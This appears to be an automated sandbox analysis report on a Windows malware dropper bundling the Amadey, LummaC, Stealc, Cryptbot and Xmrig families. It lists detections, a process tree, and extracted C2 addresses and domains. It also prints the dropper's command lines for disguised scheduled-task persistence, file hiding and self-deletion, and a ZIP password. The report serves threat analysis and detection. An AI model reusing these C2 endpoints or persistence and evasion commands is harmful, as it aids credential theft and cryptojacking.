Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1575730
MD5:	1a9cda42bd79f38deda9368800b61527
SHA1:	d0e61e7812e77acd74098db654e8fa393f9c81a7
SHA256:	d3b919cd719b576e9e6e93fcb54edc42d3882891ecad824c78b3201120c8e36f
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to register a low level keyboard hook

Creates multiple autostart registry keys

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 3536 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1A9CDA42BD79F38DEDA9368800B61527)

skotes.exe (PID: 1496 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1A9CDA42BD79F38DEDA9368800B61527)

skotes.exe (PID: 6508 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1A9CDA42BD79F38DEDA9368800B61527)

8fdf5f1a62.exe (PID: 1680 cmdline: "C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 4288 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 5600 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 6548 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2780 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1632 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6436 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2924 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2076 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1524 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7148 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 6156 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 3628 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 5392 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 3752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 5060 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 3180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1220 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 3008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3128 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4748 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

f384e6dcaa.exe (PID: 2956 cmdline: "C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 2252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

f384e6dcaa.exe (PID: 3372 cmdline: "C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

153848897b.exe (PID: 3192 cmdline: "C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe" MD5: D07B71D8B42A7249751157D427CB95C9)

0ef66f58de.exe (PID: 2640 cmdline: "C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe" MD5: 9A1A8278DE829A8B0430E9EB10174992)

4fa13d4e43.exe (PID: 2356 cmdline: "C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe" MD5: 92C6B7AA6070E9F99B8C4F896B577578)

8b77671daf.exe (PID: 1048 cmdline: "C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe" MD5: 80F61CB4BAB79B902454101D88AA7D93)

Intel_PTT_EK_Recertification.exe (PID: 4112 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 4080 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 4912 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 7016 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

Intel_PTT_EK_Recertification.exe (PID: 3592 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 4336 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 7096 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2672 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

4fa13d4e43.exe (PID: 5064 cmdline: "C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe" MD5: 92C6B7AA6070E9F99B8C4F896B577578)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["se-blurry.biz", "dwell-exclaim.biz", "drive-connect.cyou", "print-vexer.biz", "impend-differ.biz", "zinc-sneark.biz", "covery-mover.biz", "dare-curbys.biz", "formy-spill.biz"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001F.00000002.2876063230.000000000120A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2882047481.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000002.2882218536.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000029.00000002.3242450223.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002D.00000002.3342170968.0000000000261000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002D.00000002.3345216171.000000000115D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002D.00000002.3342170968.00000000003C7000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2620426839.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000002.3244488323.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002D.00000002.3342170968.0000000000334000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000002.3244630924.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000003.2129737672.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
00000029.00000002.3242450223.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000002.2876063230.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002D.00000003.3273961695.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2103410180.0000000004700000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 4112	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 4080	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: 4fa13d4e43.exe PID: 2356	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 4fa13d4e43.exe PID: 2356	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4fa13d4e43.exe PID: 2356	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 3592	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 4336	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: 8b77671daf.exe PID: 1048	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8b77671daf.exe PID: 1048	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8b77671daf.exe PID: 1048	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.420000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.780000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.780000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
41.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
41.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
41.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
31.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
31.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
